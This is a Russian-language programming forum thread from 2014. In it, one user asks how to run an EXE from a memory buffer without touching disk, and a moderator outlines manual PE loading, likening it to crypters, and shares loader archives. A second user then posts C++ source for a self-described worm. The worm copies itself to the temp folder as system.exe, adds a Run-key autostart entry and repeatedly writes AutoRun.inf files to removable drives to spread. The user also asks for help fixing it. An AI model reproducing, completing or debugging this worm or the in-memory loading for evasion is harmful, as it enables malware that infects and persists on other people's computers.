Пятница, 19.04.2024, 06:59 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Neo, xXxSh@dowxXx  
delphicode » Обсуждения » Остальные языки программирования » [C++] Запуск exe из массива в память. Как?
[C++] Запуск exe из массива в память. Как?
SlashДата: Воскресенье, 09.02.2014, 21:59 | Сообщение # 1
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
Собственно я считал exe файл в массив, как его запустить напрямую из массива без создание файлов на диске???

Сообщение отредактировал Slash - Воскресенье, 09.02.2014, 21:59
 
Волк-1024Дата: Воскресенье, 09.02.2014, 23:29 | Сообщение # 2
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
Если в кратце то: сначала выравниваешь секции, затем делаешь релокацию образа, правишь импорт, экспорт (если есть) и затем создаёшь поток с точкой EP. В общем много кода придётся городить.

Pascal, C\C++, Assembler, Python

Сообщение отредактировал Волк-1024 - Воскресенье, 09.02.2014, 23:30
 
SlashДата: Понедельник, 10.02.2014, 00:01 | Сообщение # 3
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
Цитата Волк-1024 ()
Если в кратце то: сначала выравниваешь секции, затем делаешь релокацию образа, правишь импорт, экспорт (если есть) и затем создаёшь поток с точкой EP. В общем много кода придётся городить.

А примерчик?
 
Волк-1024Дата: Понедельник, 10.02.2014, 03:00 | Сообщение # 4
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
Гуглим:

http://www.rsdn.ru/article/baseserv/peloader.xml
http://www.delphibasics.info/home....erazerz
https://code.google.com/p....0
http://winlock.ru/viewtopic.php?id=1540

И вообще данный функционал есть в любом мало-мальски нормальном крипторе.

Добавлено (10.02.2014, 01:56)
---------------------------------------------
В первой ссылке ответы на все вопросы.

Добавлено (10.02.2014, 03:00)
---------------------------------------------
Аххх.. чёрт, не заметил, что нужно на С++, а не на Делфи biggrin


Pascal, C\C++, Assembler, Python

Сообщение отредактировал Волк-1024 - Понедельник, 10.02.2014, 02:59
 
Волк-1024Дата: Понедельник, 10.02.2014, 03:04 | Сообщение # 5
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
Вот.
Прикрепления: peldr.zip (35.3 Kb) · PEImage.zip (9.2 Kb) · pe_lib_0.1.5.zip (229.2 Kb)


Pascal, C\C++, Assembler, Python
 
SlashДата: Понедельник, 10.02.2014, 22:31 | Сообщение # 6
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
Цитата Волк-1024 ()
Прикрепления: peldr.zip(35Kb) · PEImage.zip(9Kb) · pe_lib_0.1.5.zip(229Kb)

Благодарствую.
 
Волк-1024Дата: Понедельник, 10.02.2014, 23:34 | Сообщение # 7
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
Ещё.
Прикрепления: loadEXE.zip (5.9 Kb)


Pascal, C\C++, Assembler, Python
 
SlashДата: Среда, 12.02.2014, 01:58 | Сообщение # 8
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
Цитата Волк-1024 ()
Ещё.

Спасибо!


Сообщение отредактировал Slash - Среда, 12.02.2014, 02:02
 
VolfДата: Пятница, 28.02.2014, 09:29 | Сообщение # 9
Частый гость
Зарегистрирован: 11.04.2013
Группа: Пользователи
Сообщений: 41
Статус: Offline
Доброе время суток!
Начал изучать C++ возникла куча вопросов с которыми постепенно разбираюсь!
Но вот незадача,решил написать простенький червячок.Копируется в папку темп и тупо создает файл AutoRun.inf на съемных дисках.
Проблем заключается в том что я толком не знаю как юзать преобразование переменных.В результате на флешке выше указанный файл не создается.Зато в папке с программой появляется файл имя которого это буква съемного диска,в файле текст моего авторана.Смотрел по шагово выполнение программы отладчиком..не помогло.
Кому интересно гляньте код,готов к любой критике))
Код

#include <fstream>
#include "StdAfx.h"
#include <io.h>
#include <windows.h>
#include <stdio.h>
//#define MAX_LOADSTRING 100

bool IsFileExist(LPCTSTR strFileName)
{
    HANDLE hFile = ::CreateFile(strFileName,
                         GENERIC_READ,
                         FILE_SHARE_READ,
                         NULL,  
                         OPEN_EXISTING,
                         FILE_ATTRIBUTE_NORMAL,
                         NULL);
    return (hFile != INVALID_HANDLE_VALUE);
}

BOOL AddMyProgramToAutostart(TCHAR* szPath)  
{  
HKEY hKey = NULL;   
RegOpenKey(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hKey);  
if(!hKey)  
return(FALSE);  
RegSetValueEx(hKey,TEXT("Irbis"),0,REG_SZ,(PBYTE)szPath,lstrlen(szPath)*sizeof(TCHAR));  
RegCloseKey(hKey);  
return(TRUE);  
}  

void  AvtoRun(LPCTSTR name)
{

//_tcscat((wchar_t *)name,L"AutoRun.inf");

FILE *file=fopen ((PCHAR)(LPCTSTR)name,"w");

  MessageBox(0,(LPCTSTR)name,0,0);

if (file)
{

fprintf(file, "[autorun]\nOpen=usbdrive.exe\n");
     fprintf(file, "icon=%%SystemRoot%%\\system32\\SHELL32.dll,4\n");
    fprintf(file, "action=Open folder to view files\n");
     fprintf(file, "shell\\open=Open\n");
     fprintf(file, "shell\\open\\command=usbdrive.exe\n");
    fprintf(file, "shell\\open\\default=1\n");
fclose(file);
}
else
{
  MessageBox(0,0,0,0);
}
}
//Заражение флешек
PCHAR find_usbflash ()
{
  TCHAR*  FIleR[5];
  TCHAR  buf[100];
   
  int  i;
    int Ser = rand() % 5 ;
   
PCHAR    drive;  

    TCHAR buffer[MAX_PATH];
    DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf);
for(TCHAR* s=buf; *s; s+=_tcslen(s)+1)
    {
      LPCTSTR sDrivePath = s;
   
       UINT uDriveType = GetDriveType(sDrivePath);
       if (uDriveType == DRIVE_REMOVABLE)
    {
    
    
AvtoRun(((LPCTSTR)s));

   
}
          return 0;
       }
    }
}

//*******************

//Создание мьютекса
bool MyMytex()
{
  HANDLE hMutex;
  hMutex = CreateMutex(NULL,TRUE,_T("/1/"));
if (GetLastError() == ERROR_ALREADY_EXISTS)  
  {
   return true;
  }
  else
  {
  return false;
  }
}
//*************
//Процедура установки программы
BOOL Setap()
{
TCHAR buffer[MAX_PATH];
  TCHAR temp[MAX_PATH];

   STARTUPINFO si;
   memset(&si, 0, sizeof(si));
   si.cb = sizeof(si);
   PROCESS_INFORMATION pi;
   memset(&pi, 0, sizeof(pi));

    

GetModuleFileName(NULL,buffer,sizeof(buffer));
GetTempPath(MAX_PATH,temp);
_tcscat(temp,_T("system.exe"));

if(IsFileExist(temp))
{
  AddMyProgramToAutostart(temp);

}
else
{
  CopyFile(buffer,temp,false);
  CreateProcess(NULL, temp, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  AddMyProgramToAutostart(temp);
  ExitProcess(0);
}

return 0;
}
//**********

int FindKey()
{
  int kodkey;
  short key=GetKeyState(kodkey);
  switch(key)
  {
  case VK_LCONTROL:MessageBox(0,0,0,0);
   
  }
  return key;
}

//Маин класс
int APIENTRY _tWinMain(HINSTANCE hInstance,
                      HINSTANCE hPrevInstance,
                      LPTSTR    lpCmdLine,
                      int       nCmdShow)
{

  if(MyMytex()==true)
  {
   ExitProcess(0);
  }
   

Setap();

while(true)
{
  Sleep(5000);

find_usbflash();
}
  return 0;
}
//**********
 
delphicode » Обсуждения » Остальные языки программирования » [C++] Запуск exe из массива в память. Как?
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz